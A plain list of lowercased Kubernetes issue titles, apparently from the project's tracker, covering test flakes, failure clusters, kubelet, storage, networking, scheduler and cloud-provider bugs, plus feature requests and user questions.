pvc finalizers should be removed on pod deletion if the node that pod running on is down

rest api v3 in the \ status\   no info about ports, memory, cpu, etc. even when container is running.

kubelet is not cleaning up pod volumes, leaving statefulset in pending state

failing test  sig-apps  hpa upgrade, replicaset upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel

taint the node with \ node.kubernetes.io/not-ready\  when docker is not working well

azure internal loadbalaner is pending forever if subnet annotation is set to empty string

plugin/pkg/admission/persistentvolume/label/admission.go should be in volume plugins

for all delete collection of resource apis, default labelselector and fieldselector should mean nothing instead of everything

k8s.io  job should run a job to completion when tasks sometimes fail and are not locally restarted {kubernetes e2e suite}

kubectl edit thirdpartyresource object fails with \ invalid character\

controller manager spending a lot of cpu on deployments  much less for rs/rc/svc etc.

k8s.io  privilegedpod should enable privileged commands {e2enode suite}

gcp service load balancer to pod with host ports had inconsistent behavior

gcepd \ provisioning should provision storage with ...\  tests failing in master

refactor to distinguish between volume lifecycle on node and within cluster for persistent volumes

can we create both udp and tcp port on a single service of type \ loadbalancer\ ?

k8s.io  probing container should  not  be restarted with a exec \ cat /tmp/health\  liveness probe  conformance  {e2enode suite}

windows  no outbound internet connection from windows containers

unexpected command output nsenter: cannot open : no such file or directory

cinder persistent volume can not be attached to the new node after shut down the current node

pvc volumes used with subpath volume mounts don't support reconstruction

allow csi drivers that support both 0.x and 1.x to use old plugin dir

failure cluster  aee02e...  failed 144 builds, 21 jobs, and 16 tests over 1 days

1.7.0  after setting up kubeadm, the master node has status notready

failure cluster  71baa7...  failed 428 builds, 52 jobs, and 1 tests over 1 days

refactor service/endpoints list/watch part among different proxy modes

adding tag annotations on service manifest for elb does not trigger update on aws

failure cluster  f2d98a...  failed 68 builds, 4 jobs, and 1 tests over 1 days

failing tests:  sig-cluster-lifecycle  reboot  disruptive   feature:reboot

new namespace non-functional for over 5 minutes due to default service account creation delay

kubectl logs -f keeps blocking even when tailed pod stops since 1.6 upgrade

test failing with  discovery error for unexpected group: schema.groupversion{group:\ metrics.k8s.io\ , version:\ v1beta1\ }

k8s.io  deployment recreatedeployment should delete old pods and create new ones {kubernetes e2e suite}

kubectl drain error - eviction: no kind \ eviction\  is registered for version \ policy/v1beta1\

gce  shared backend services for ilbs leak settings to other ilbs

1-5 to 1-7 upgrade test: deployment overlapping deployment should not fight with each other

guideline for checking volume attached/detached status through cloudprovider

can not print the apiversion info when failed to execute kubectl apply -f xxx.yaml

cluster/update-storage-objects.sh  validationerror endpoints : missing required field \ subsets\  in io.k8s.api.core.v1.endpoints

test fails when using windows containers due to the low memory limit

daemonset pods with node selector get stuck in start/termination loop

clarify  and perhaps loosen  our version-skew policy between master and kubelet

node e2e images and instances should be in their own jenkins project

building release fails with  failed to fetch http://httpredir.debian.org/debian/... error reading from server. remote end closed connection

runcontainererror: \ runcontainer: operation timeout: context deadline exceeded\

netwowork problem  when install an kubelet in the master node with flannel

job successed with pod not really successed, the pod's containers lifecycle poststart was error

add a fast path to inter-pod affinity/anti-affinity for hostname topology key

defaulttolerationseconds admission plugin flags pollute all commands

feature: allow execauth to trigger external auth command if user provided token has expired

cadvisor in containerized kubelet can't find docker to move it into a container

when rolling update fails, new rc remains making another rolling update impossible and breaking our continous delivery

test failures caused by kernel null pointer dereference on debian-based cvm

e2e flake: pull-kubernetes-e2e-gce-etcd3 fails  sig-apps  deployment and others with dial tcp  a node addr :10250: getsockopt: connection refused

kubectl delete pod --grace-period=0 --force intermittently hangs

new daemon set to support isolated coredump for namespaces/users

kube-proxy migration tests are failing: \ metrics/v1alpha1: the server could not find the requested resource\

failing tests:  sig-autoscaling  multiple horizontal pod tests are failing in sig-release-master-upgrade

pod stops processing the pvc's \ watch of  v1.persistentvolumeclaim ended with: the resourceversion for the provided watch is too old.\

proper way to install the kubenetes cluster on centos bare metal with 4node

re-evaluate fields at root of the crd schema when status subresource is enabled

user \ system:kube-controller-manager\  cannot patch nodes at the cluster scope

azure cloud provider needs exponential backoff capability to mitigate query quota overshoot in the azure resource manager api

failure cluster  5be8b0...  failed 196 builds, 19 jobs, and 1 tests over 1 days

failure cluster  8cd605...  failed 126 builds, 47 jobs, and 4 tests over 1 days

ci-kubernetes-e2e-gce-scale-performance failing due to quota issues

kubeadm init fail to start etcd container for k8s 1.9 cluster on centos 7

pods take a long time to terminate when running two containers that don't exit simultaneously

kubectl delete should use propagationpolicy instead of orphandependents

failing test  : gke-ingress-1.11 job failing to checkout boskos project 1.11-release-blocking

kube-proxy: proxier.go:1306  failed to execute iptables-restore: exit status 1  iptables-restore: line 16 failed

cluster/ubuntu to support proxy  tunnel  from kubectl to apiserver

using iptables kube-proxy, additional ip address routed over second interface doesn't route anywhere.

idea: something like linux kernel's 'make config' for cluster config

openstack-heat: salt-minion errors because it is started as daemon

k8s.io/kubernetes/pkg/registry/core/service testinitnodeports flake

'kube-up.sh' should allow user to customize the manifests of the cluster

pkg/util/mount: error when mount source in /proc/self/mountinfo is empty

is it ok to use single cluster name for multiple entries in admin.conf to access multiple masters without having master lb

inconsistent default ports for  kubectl  and  kubectl --server 127.0.0.1

failure cluster  b75045...  failed 95 builds, 32 jobs, and 7 tests over 1 days

e2e namespace cleanup fails with attempt to delete custom resources

\ createcontainerconfigerror: failed to prepare subpath for volumemount\  error with configmap volume

certificates in my kubernetes are expired. what are the steps in redeploying certificates. after redployment pod health is affected. how do i overcome this?

high system load  0.4+  when idle in brand new kubeadm cluster - kubernetes 1.10.2

e2e-networking  update esipp test to catch issue if servicecontroller does not response to externaltrafficpolicy update

apiservices auto-register controller duels on ha apiserver upgrades

kube-aggregator can't access /swagger.json on some aggregated api servers

aws asg nodes may be kicked from the cluster by kube-controller-manager

collecting log using fluentd, run kubelet with --docker-root=xx not working

glbc occasionally reverting deployment defined probe health-check to the default path of '/'

k8s.io  services should create endpoints for unready pods {kubernetes e2e suite}

services without selectors cannot forward to other services as documented

has somebody got weave-net to run on windows server 2016 node in a kubernetes cluster?

kubeadm upgrade plan wont work on ha   3 masters / ha etcd cluster

feature request. trigger pod deletion if cpu resource threshold reached/exceeded

policyrule link in role and clusterrole api description does not link to an existing anchor

http: proxy error: dial tcp  ::1 :8080: connectex: no connection could be made because the target machine actively refused it.

attach/detach controller does not recover from missed pod deletion

envfrom: configmapref load the enviroment variables only with busybox image

add restrictions on tolerations and nodeselectors to podsecuritypolicy

volume metrics calculation - disambiguate pod volume metrics not available yet from empty

create more detailed, soak-like, e2e test for cluster autoscaler

ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.5-upgrade-cluster: broken test run

1.7.0-beta.2 kubelet does not restart containers when /etc/kubernetes/manifests change

print what http request we were handling when we print a stack trace

kubelet won't start on azure vmss after upgrading to k8s v.1.11.x

k8s.io  networking  k8s.io  granular checks: services  slow  should function for node-service: http {kubernetes e2e suite}

pull-kubernetes-bazel test fails due to the change of pkg/generated/openapi/build

develop an e2e test to verify kubelet device plugin functionality with a fake device plugin implementation

error or display unhealthy backend if ingress update adds clusterip service

k8s.io  esipp  slow  should handle updates to source ip annotation  feature:externaltrafficlocalonly  {kubernetes e2e suite}

poddisruptionbudget by percentage doesn't work with statefulsets

psp: user group with rolebinding to clusterrole cluster-admin can use any psp

deleting jobs using kubernetes golang api show success without any error, but still shows up the job in kubernetes cluster

tracking issue for issues related to scheduler performance/scalability

pr:pull-kubernetes-e2e-gce-etcd3 flaked 125 times in the past week

when watch cache can't establish a watch successfully for its backing store, all resourceversion=0 queries start to pile up

misleading pleg error on kubelet start \ last seen active 2562047h47m...\

k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  feature: ingress  shoud create ingress with given static-ip

scheduler and controller-manager spamming logs with: \ lock is held by <server> and has not yet expired\

admission controller \ limitpodhardantiaffinitytopology\  is not enabled by default

initializerconfiguration and metadata.initializers have different rules for initializer name

sig-network  dns configmap nameserver forward external name lookup should forward externalname lookup to upstream nameserver  slow  serial

loadbalancer service stuck on pending when enabletcpreset is enabled on slb

kubectl: error message for user with no permissions is extremely cryptic

k8s.io  configmap should be consumable from pods in volume as non-root  conformance  {kubernetes e2e suite}

k8s.io  emptydir wrapper volumes should not cause race condition when used for git_repo  serial   slow  {kubernetes e2e suite}

kubectl cli can't create service with arbitrary selector  ex: w/ daemonset

bug in storageclass with pd-gce provider - unable to provision ssd

ipvs proxier keeps updating virtual server even if no service changes

human readable status from conditions for a crd using additionalprintercolumns

investigate defaulting anonymous discovery requests to disallowed

failing test  master-blocking:gce-cos-master-default diffresources

pods stuck terminating/not cleaned up automatically due to invalid spec

pod dns policy not implemented on windows, leaves incomplete suffix list

inconsistency between volumesattached and volumesinuse fail deployments

depending on kubernetes client packages injects command-line flags

k8s pods affinity & anti-affinity, soft  preferredduringscheduling  not respected in 1.4?

flake local 'make test-e2e-node' fails due to \  it  should report resource usage through the stats api\

generated shared informers lack an extension to provide additional indexes

headless service can not using node port , so it can not to using cloudprovider lb.

hostname-override is ignored when a cloud provider is configured

k8s.io  docker containers should be able to override the image's default commmand  docker entrypoint   conformance  {kubernetes e2e suite}

federation/deploy/deploy.sh create_federation does not create needed secrets

kubectl should support u2f security tokens for 2 factor authentication

hack/update-staging-client-go.sh: cannot create special file: operation not permitted

failure to load some of the volume plugins when cloud set to external.

kubelet generates a new csr on start even if it has a valid certificate on disk

oidc authentication plugin: add support for authentication.k8s.io/v1beta1/tokenreviews

tls bootstrap for kubelet incorrectly still using self-signed certs after generating fresh certs

intermittent external connectivity for various pods/applications - resolv.conf permissions

e0820 14:40:39.306462       1 leaderelection.go:234  error retrieving resource lock kube-system/ceph.com-rbd: endpoints \ ceph.com-rbd\  is forbidden: user \ system:serviceaccount:default:rbd-provisioner\  cannot get endpoints in the namespace \ kube-system\

1.14.2 + podsecuritypolicy runasnonroot = createcontainerconfigerror

kubectl get -o jsonpath does not handle objects with rawextension

k8s.io  downward api volume should set defaultmode on files  conformance  {kubernetes e2e suite}

default garbage collection for a resource can cause partial orphaning

featuregate still has dynamicvolumeprovisioning though it is gone since 1.6

e2e failure   sig-storage  volume plugin streaming  slow  iscsi fails

service fails to estabilish connection  timeouts  after endpoint pod is recreated by deployment.

no flexvol 'attach' call sent out  with --enable-controller-attach-detach=true

gke  node keeps changing to \ nodenotready\  status, causing 503 errors with our nginx ingress load balancer

spec.initcontainers 0 .env 0 .valuefrom.fieldref.apiversion: required value

issue or feature request  azure: don't using control plane to retrieve nodes status

rest api - plural error message when failed to create a single namespace

is that possible to add a custom label without touching k8s code?

resizing the persistent volume in azure aks doesn't reflect the change at pod level.

user reports problem deleting and re-creating pod with gce pd mounted

cluster/ubuntu scripting establishes insecure connections from kubelet and kube-proxy to api server

make attach/detach controller robust against pre-mature pvc/pv deletion

ability to adjust downscaleforbiddenwindow in horizontal autoscaler

dockfile for examples/celery-rabbitmq does not match docker image in docker hub.

remove etcd env vars from the master upgrade process when they're not needed

etcd size sometimes starts growing and grows until \ mvcc: database space exceeded\

failure cluster  67c3cc...  failed 147 builds, 12 jobs, and 3 tests over 1 days

conformance annotations require build checks to ensure format is adhered to

kubectl get cs  does not show the root cause when the tls certs does not match

add kubectl log --all flag so i don't have to manually iterate all my containers

secrets folder is mounted but empty  service account and ordinary secrets

kube-apiserver \ no --service-cluster-ip-range specified\  and \ defaulting to 10.0.0.0/24\ .

failed to find device for the volumeid. error: could not find attached cinder disk.

pod allowed when podsecuritypolicy is enabled even when no policy authorizes it

ci-kuberentes-verify and pull-kubernetes-verify are failing in master, 1.13, 1.14

change interface of priority functions for easier \ framework-based\  parallelization

k8s.io  staging client repo client should create pods, delete pods, watch pods {kubernetes e2e suite}

k8s.io  loadbalancing: l7  k8s.io  nginx should conform to ingress spec {kubernetes e2e suite}

failure cluster  9105b1...  failed 105 builds, 35 jobs, and 1 tests over 1 days

failure cluster  3be71e...  failed 106 builds, 17 jobs, and 1 tests over 1 days

use of kubernetes_release env variable doesn't consistently work for semver labels.

integration flake: test fails and https://console.cloud.google.com/ directory is empty

design a mechanism to record a real workload and replay it deterministically

decide if we should write a proposal for sharing / exporting of configmaps between namespaces.

no deprecation message for apps/v1beta2 core controllers and controller revision

azure subscriptionnotfound is silently changed to cloudprovider.instancenotfound

heapster cpu/usage_rate returns incorrect cpu/usage_rate caused by overflow?

error validating data: found invalid field envfrom for v1.container

allow spec.terminationgraceperiodseconds to be used in downward api

nodeauthorizer prevents unmounting of csi volumes when  terminationgraceperiod  is 0

1.6 upgrade testing -  k8s.io  kubectl client  k8s.io  kubectl apply should apply a new configuration to an existing rc

ingress controller session affinity via cookies do not work with gcp

rbac/v1 apis in 1.8.4 take a long time to be available, rbac/v1beta1 apis are immediately available

conclude strategy to add conformance comment to e2e iterating over range

hack/local-up-cluster.sh fails with kubelet reporting \ server.go:160  unknown command\

consider $ref in crds or recommending authors add a gvk hint in replacements

k8s.io  etcd failure  disruptive  should recover from network partition with master {kubernetes e2e suite}

can not see output of provision script in real-time when building cluster with vagrant and virtualbox

e2e failure   sig-instrumentation  cluster level logging implemented by stackdriver should ingest ...

kubectl apply: print filename along with line number on parse errors

unmount timeout should not trigger detach  by trigger detach there is a potential data loose

failure cluster  3917e9...  failed 85 builds, 8 jobs, and 1 tests over 1 days

what is the difference between container_manager_linux.go in kubelet and dockershim?

kube-dns disregards stubdomains option while resolving externalname service

failing test  k8s.io  prioritylocalstorageevictionordering  slow   serial   disruptive  nodefeature:eviction  when we run containers that should cause diskpressure should eventually evict all of the correct pods

e2e failure: csi hostpath tests are failing in alpha clusters since 9/8

hack/local-up-cluster.sh always download cfssl even when on path

failing test  gci-gce-scalability-1.11/1.12/1.13/1.14 fails when setting up prometheus stack

pvc/ns deletion hangs after deletion of a resourcequota when resourcequota admission controller is enabled.

proposal: authorizing use of a podsecuritypolicy via the \ use\  verb

default secret token for service account failed to be created  preventing pods from spawning

there are some mistakes for logs and commend information in healthz

ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster-new: broken test run

bug: memory-limited jobs with a resource quota that initially don't have enough resources stay in queue almost forever

cloudprovideroptions's defaultexternalhost should be extended to other cloud providers

collisioncount should have type int32 instead of int64 in all relevant controllers

azure loadbalancer should reconcile security groups properly.  not just by name, but also by other properties

running disruptive e2e tests against aws kops deployment is hard

failure cluster  4d2471...  failed 66 builds, 5 jobs, and 1 tests over 1 days

conformance discussion to promote e2e tests which validate initcontainer podspec

kubernetes loadbalancer type service with aws ,external ip is showing pending

copy logs from dead containers to local files to facilitate immediate gc of dead containers

ci task  pull-kubernetes-e2e-kops-aws causing aws ebs storage limit exceeded error

allow admins to restrict the types/size of persistent volumes by namespace

kernel panic when having a privileged container with docker >= 1.10

response codes in openapi spec don't correspond to actual api responses

add helpful error message when using  make test  with a  what  value relative to the current directory, not the $gopath

admission webhooks: test: kube-apiserver should start even if webhooks block every api action.

bootstrapping kubernetes with openstack provider hammers openstack api

k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}

k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}

upgrade on gke from 1.4.7 to 1.5.1 - scheduling issues for pods with a persistent volume

testblockingownerrefdoesblock: panic: duplicate metrics collector registration attempted

crd resources with names ending in  list  aren't able to be created

how to prevent daemonset pods being evicted from nodes which have disk pressure?

updating deployment annotations creates massive repetitive revision-history annotation, causing deployment controller failure

umount operation exception cause pod can't read data from rbd-image

kubelet crashes on handling /summary when failing to retrieve imagestats from docker

watch conformance test: test more resources than just config map

using virtual size of the image when image gc may be not accurate

dropping all capabilities breaks cni-plugin in v1.11.1  it worked in v1.9.3

sig-storage   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage

ensure container prestop hooks are run before a machine shuts down

failed to provision a pv on gce with \ the resource already exists\

k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner default should be disabled by   the default annotation slow   serial   disruptive   volume  {kubernetes e2e suite}

cuda_visible_devices not set, no way to tell which devices were reserved

kubelet fails to heartbeat with api server with stuck tcp connections

running cloud-controller-manager should remove uninitialized taint

kube-proxy fails to update master ipvs vip entries during master node recycle

ha etcd upgrade v2 -> v3: split-brain - all members became leaders

attach/detach controller does not track \ attaching\  volumes persistently

k8s.io/kubernetes/federation/pkg/kubefed/init testcertstls fails a lot

hyperkube starts the kubelet differently, and diverges from bootstrap logic as a result

internal elb created under eks is being launched under random az

k8s.io  emptydir volumes should support  root,0777,tmpfs   conformance  {kubernetes e2e suite}

what's the specification of the slave that runs \ bazel build\  in your jenkins ci ?

bad mount option when using emptydir volume plugin with hugepages medium.

pull-kubernetes-e2e-kops-aws is flaky due to quota setup in the cncf account

how do admins of non-cloud nodes apply node zone labels for kubernetes lite?

some namespace controller actions have service account controller's user-agent?

k8s.io  hostpath should give a volume the correct mode  conformance  {kubernetes e2e suite}

failure cluster  1cf0b5...  failed 495 builds, 32 jobs, and 1 tests over 1 days

failure cluster  7b4c6f...  failed 96 builds, 27 jobs, and 1 tests over 1 days

federation: google cloud dns provider does not handle missing domains correctly

test-cmd run_kubectl_get_tests \ client.timeout exceeded while reading body\  fails output test

azure cloud provider tries to get loadbalancer for services that do not have type=loadbalancer

kubectl exec -it <pod_name> /bin/bash made error \ http: server gave http response to https client\

the same namespace, the pod that kubectl can get, fabric cannot get

k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}

flake:  federation  daemonset history crud verification failures in e2e

readiness check fails with  http2: no cached connection was available  which is not a server problem

authentication for webhook admission to heterogenous authentication domains

feature: provide meaningful metrics to controller developers using api server

containers from init-containers section do not execute if livenessprobe result in restart

can't create secrets \ from-env-file\  containing multi-line value

write tests to verify that kubelet will delete pods in various scenarios

cluster addon fluentd-elasticsearch does not work with rbac enabled

proxy version v1 should proxy logs on node  conformance  1.6->1.7 upgrade failure

set-based selectors are not working for the podnodeselector admission plugin

kube-proxy in ipvs mode initiates nodeip to 127.0.0.1 on an ipv6 cluster and crashes

flake: sig-storage   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage

kubelet: failed to find subsystem mount for required subsystem: pids

add pointer to config-default.sh in \ cannot start cluster using os distro\  error message

upgrade test  \ rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available\  in ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster

daemonset pods should be scheduled by default scheduler, not daemonset controller

panic in controllermanager when gce external loadbalancer healthcheck

local-volume  provisioner e2e test fails with v2.0.0 image for provisioner

scheduling policy on configmap breaks without the --policy-configmap-namespace flag set

failing test:  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade

pods owned by statefulset keep circling among pending, creating and terminating

kube-apiserver 1.12.3 running as a container in docker connects to ipv6 localhost  and fails

creating service with type=loadbalancer has strange side-effect on windows nodes in gce

every user in an owners file should be a kubernetes member or outside collaborator.

api for key management service  kms  plugins for secrets encryption key management

failing test :  sig-storage  subpath  volume type: emptydir  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  failing in sig-release-master-upgrade

scheduler ignores requests for unknown fully-qualified resources.

failed create pod sandbox: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ podtest_default\  network: open /run/flannel/subnet.env: no such file or directory

have limitranger show ratio inputs when rejecting based on ratio

kubernetes ha documentation doesn't reference --api-servers flag

kubernetes/cluster/saltbase/install.sh  doesn't work on bsd/darwin based systems

allow running other etcd instances in containers  with their netns

creatingloadbalancerfailed with only \  events with common reason combined \

nettest  web server crashes in  prestop  conformance test when default service account is disabled

up to date docs on seccomp and a way to use it without modifying nodes

fix support for validatingadmissionwebhook and mutatingadmissionwebhook in custom api servers

failing test:  sig-scheduling  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected

fake_event_expansion / fake_node_expansion do not expose patchtype.

kubectl get pod <pod_name> should return the pod even if if it's terminated

ci-kubernetes-e2e-gce-scale-correctness run 32 failed in a mysterious way

kubelet - how to avoid pod to be evicted in node pressure？，i'm a little confused？

figure out the purpose/necessity of apigroupversion.servergroupversion

command order at runtime with secret distribution  2030 and dynamic configuration  2068

k8s.io  cadvisor should be healthy on every node. {kubernetes e2e suite}

guaranteed admissions and evictions of \ critical pods\  and \ static pods\

resourcequota does not allow limiting the number of replicaset objects in a namespace

pod information does not include injected service environment and other variables

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node

cri: support daemon logs for other cri container runtime in fluentd?

controller manager failed to be started when rollback from v1.8.3 to v1.7.3

ip-masq-agent has insufficient tolerations and is not being scheduled to all nodes

all nodes in my cluster marked for deletion by the kube-controller at the same time

federation  automate configuring nameserver in cluster-dns for coredns provider

when controller-manager in the process of changing from standby to main, resourcequota will exceed.

failing test :  sig-storage  persistentvolumes nfs when invoking the recycle reclaim policy should test that a pv becomes available and is clean after the pvc is deleted

pod readinessgate does not support strategic patch to add an item

kubectl describe - undocumented feature: resources are matched by prefix

add description and validation properties to envvar in the rest api so that environment variables can have better tooling

manually set initializers in pod template spec in deployment are not present in created pods

--all-namespaces should work with  kubectl set image deployments

kernel:unregister_netdevice: waiting for eth0 to become free. usage count = 1

--dry-run  did not catch cannot capture \ targetaverageutilization and targetaveragevalue cannot co-exist issue\

kubeadm init fail 90% of the time on aarch64  rock64  due to tls timeouts

daemonset should respect to 'nodeready' and 'nodenetworkunavailable' status

\ kubectl create\  subcommands need to validate printer flags before creating a resource

failure cluster  b6f250...  failed 83 builds, 6 jobs, and 2 tests over 1 days

add a new check to podfitsresources to guarantee the pod limits must be less than the selected node's allocatable resource

flaking test   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow

k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  {kubernetes e2e suite}

test image dependencies from kubernetes/kubernetes.github.io repo

scheduler does not respect clientconnection of kubeschedulerconfiguration in 1.11

document requirements/recommended process for updating cluster tls certs/keys

federation e2es failing with v1.getoptions is not suitable for converting to \ federation/v1beta1\

scale client should accept a groupversionresource instead of string

e2e failure   sig-network  networking granular checks: services  slow  should function for client ip based session affinity: udp

gce pd csi driver e2e test should automatically inject driver gcp credentials

the dnsname and vnet should be able to be passed as desired and should not be hardcoded

add iptables forward rule for external requests to service with nodeport

upgrade test failure  services should be able to change the type from externalname to  clusterip| nodeport

kubectl patch fails with error from server: json: cannot unmarshal string into go value

test failed   1.10 upgrade  servers with support for table transformation

hpa scale-down e2e test  should scale from 2 pods to 1 pod  fails due to timeout

failing test:  sig-storage  persistentvolumes-local  volume type: gce-localssd-scsi-fs   serial  set fsgroup for local volume should not set different fsgroups for two pods simultaneously

jsonpath output needs a quote operator to safely generate arguments

update-bazel  should fail if it encounters \ cannot find package\

user \ system:anonymous\  cannot proxy services in the namespace \ default\ .

failure cluster  2f4590...  failed 93 builds, 2 jobs, and 1 tests over 1 days

the armhf organization is deprecated in favor of the more-specific arm32v7 organizations

kubernetes deployment fails in pulling the docker image from gitlab registry

in low memory, critical pods should not be the eviction candidates

web site issue - kubernetes.io/docs/setup/independent/high-availability/

--cpu-cfs-quota-period should not have effect if feature gate cpucfsquotaperiod is not enabled

flaking test  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down

kube api server generates incorrect links in response to /logs endpoint

loadbalancing: l7  k8s.io   slow  nginx should conform to ingress spec is consistently failing in 1.7 branch on gke

kubelet sigsev: panic: runtime error: invalid memory address or nil pointer dereference

deployment \ minimumreplicasavailable\  is true when \ unavailablereplicas\  > 0

exersize more of the client cache   list, remove   in scheduler_perf

oidc with cilogon - client_id string failing because of ',' symbol

kubelet should verify updates to the pods from non-apiserver sources

failure cluster  c49044...  failed 136 builds, 39 jobs, and 20 tests over 1 days

servicereference in externaladmissionhookconfiguration can't be used by most consumers

security group rule will change back to 0.0.0.0 by k8s after i changed it.  aws elb

kubectl apply --prune=true can not delete resources if such in conflict

components  e.g. kubelet  can wedge for multiple minutes in certain load-balancer scenarios

ingress  resourceversion change  make many event  cause etcd  down

many configmaps and pods slow down cluster, until it becomes unavailable  since 1.12

flake: test failures with \ read: connection reset by peer; some request body already written\  when creating/changing objects

azure disk creation issue when specifying an external resource group

pull-kubernetes-integration flaking test test-cmd run_kubectl_run_tests

no hyperkube 1.3.8 in gcr.io/google_containers/hyperkube registry

k8s.io  initcontainer should not start app containers and fail the pod if init containers fail on a restartnever pod {kubernetes e2e suite}

pod  frequent create and delete by daemonset controller when kube-apiserver enabled podnodeselector admission controll

test failure :  sig-storage  subpath  volume type: gcepdpvc  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow

netperf results show same bandwidth for bare metal vms and cluster nodes ?

apiserver generated reference should list the \ default enabled\  admission plugins.

k8s 1.11 custom object resource version changes on no-op status patch

does windows service control integration properly support stopping a service

integrate backoff mechanism into the scheduling queue and remove the backoff util

shouldn't persistent volume config file define key 'spec.type' ?

ha master setup suddenly shifted to heavy cpu load on a single master

broken 1.5 gke test -  k8s.io  gcp volumes  k8s.io  nfsv3 should be mountable for nfsv3  volume

zero-downtime upgrades of stateful deployments/statefulsets should be possible

timeouts when draining a node while using external-traffic: onlylocal annotation on loadbalancer

gce cloud provider does not update backend nodes on ensureloadbalancer for external lbs

duplicate deployments and replicasets observed on querying a namespace for all its objects

trouble with kubernetes-1.12.0-rc.2 tag in the bot sync'ed k8s.io/api repo

failing test  subpath should unmount if pod is force deleted while kubelet is down failing in master-upgrade:gce-new-master-upgrade-cluster

registered.isregisteredapiversion should not exist - it should be a call into the restmapper or the objecttyper or newobject, but not a global constant

providing incorrect oidc-client-id to apiserver causes apiserver to become unresponsive

make conditions displaying of different object consistent in 'kubectl describe' command

the e2e_node/gpu_device_plugin.go test has been failing in the past few days

failing tests :  serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability

catch podexceedsfreecpu or podexceedsfreememory events in java client api

kubernetes can be install on the centos6.x or no public network of local environment

k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}

followup of  47046  kubelet and btrfs snapshots: failed to get device for dir \ /var/lib/kubelet\

test/integration/daemonset testlaunchwithhashcollision is flaking

e2e run fails during build with 'compile: reading input: eof' errors

kubelet will start failed if the default root directory /var/lib/kubelet  not be created

psp: improve error message for invalid supplementalgroups/fsgroup

configmaps \ ingress-uid\  not found failing 1.11 gke-ingress and gke- master-cluster upgrade and downgrade tests

integration test have legacy after case finished, which may result in test flaky

the glusterfs provisioner creates and deletes gluster volumes if the endpoint creation fails due to length restrictions

filterlimitexceeded is returned from aws while trying to create an external loadbalancer

kube-controller-manager tries to find storage account instead of  key-vault

bearer token seems not work - unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, square/go-jose: error in cryptographic primitive

csi - ability to skip devicemount operations for ephemeral volumes

gci test flake:  kubernetes-e2e-gci-gce-serial-release-1.4    k8s.io  daemonrestart  disruptive  kubelet should not restart containers across restart

replace newlistwatchfromclient with corresponding clientset lister and watcher

service type loadbalancer  aws cloudprovider  only supports 0.0.0.0/0 for loadbalancersourceranges field

test failure: proxy version v1 should proxy through a service and a pod  conformance

pod stuck in containercreating with log message \ volume is not yet attached according to node\

ipv6 randomly not assigned with kubelet 1.13.5 or 1.14.1 and calico

test flake   k8s.io  node container manager  serial  validate node allocatable set's up the node and runs the test

imagegcfailed attempting to remove images in use by running containers

consistent timeout of pull-kubernetetes-verify on a pr touching hack/ directory.

azurefile volume mode too strict for container with non root user

kubelet: backoff restart for containers with liveness probing failure

k8s.io  cluster size autoscaling  slow  should increase cluster size if pods are pending due to host port conflict  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

k8s.io  resourcequota should create a resourcequota and capture the life of a service. {kubernetes e2e suite}

fluentd-elasticsearch addon is complaining about ca certificate connecting to api

e2e failure   sig-cli  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance

the source code of kube-apiserver , where is  the  authenticaterequest called when a request  come in ?

updating custom tags annotation for services does not delete old tags

ipvs does not work with kubenet when no masquerading options are set

refactor volume resizing code to handle online and offline resizing for csi migration

generic apiserver should shut down handlers before shutting down auditing

v4.channel.k8s.io attach  websockets  status is always \ successful\  even if the container fails

sample apiserver does not allow actual use of its admission plugin

rollingupdate for daemonset got stuck due to one of the daemonset pods being in unknown state

podsecuritypolicy can be sidestepped with innocent emptydir and subpath

readinessprobe keeps active together with livenessprobe while container is already started

garbage collector needs extra check to prevent cross-namespace cascading deletion

k8s.io  services should work after restarting kube-proxy  disruptive  failed all the time in ci-kubernetes-e2e-gce-serial

release-1.8 gke test failure \ services should work after restarting apiserver\

daemonset can not create the needed pod when the node has enough resource after the other daemonset delete

add debug info: scheduler extenders's score and its name for each pod

upgrade kubelet from v1.11.3 to v.12.3 without draining pods causes containers to restart continuously

cidr allocator causing cloud ratelimiting  causing storage test failures

dns resolution issue when getting response from pod ip instead of service ip

use owner ref to calculate pod statistics in federated replicaset controller

addon resizer v2.0 keeps restarting pod every 1 minute in e2e tests

creating or restarting hpa close to pod creation creates race in the first decision it makes

k8s.io  criticalpod  serial   disruptive  when we need to admit a critical pod should be able to create and delete a critical pod {e2enode suite}

kubectl rollout status does not work well with affinity/pending pods

failure cluster  958029...  failed 148 builds, 17 jobs, and 4 tests over 1 days

kube-proxy's init container stuck in  waiting  phase while kube-proxy container is running

test \ networking granular checks: services  slow  should update nodeport: udp  slow \  failed in large-scale test

startup of api server is cpu limited, mostly in gc due to openapi

failing tests:  sig-api-machinery  admissionwebhook should be able to deny pod and configmap creation

properly expose counter states and generally better metrics to prometheus

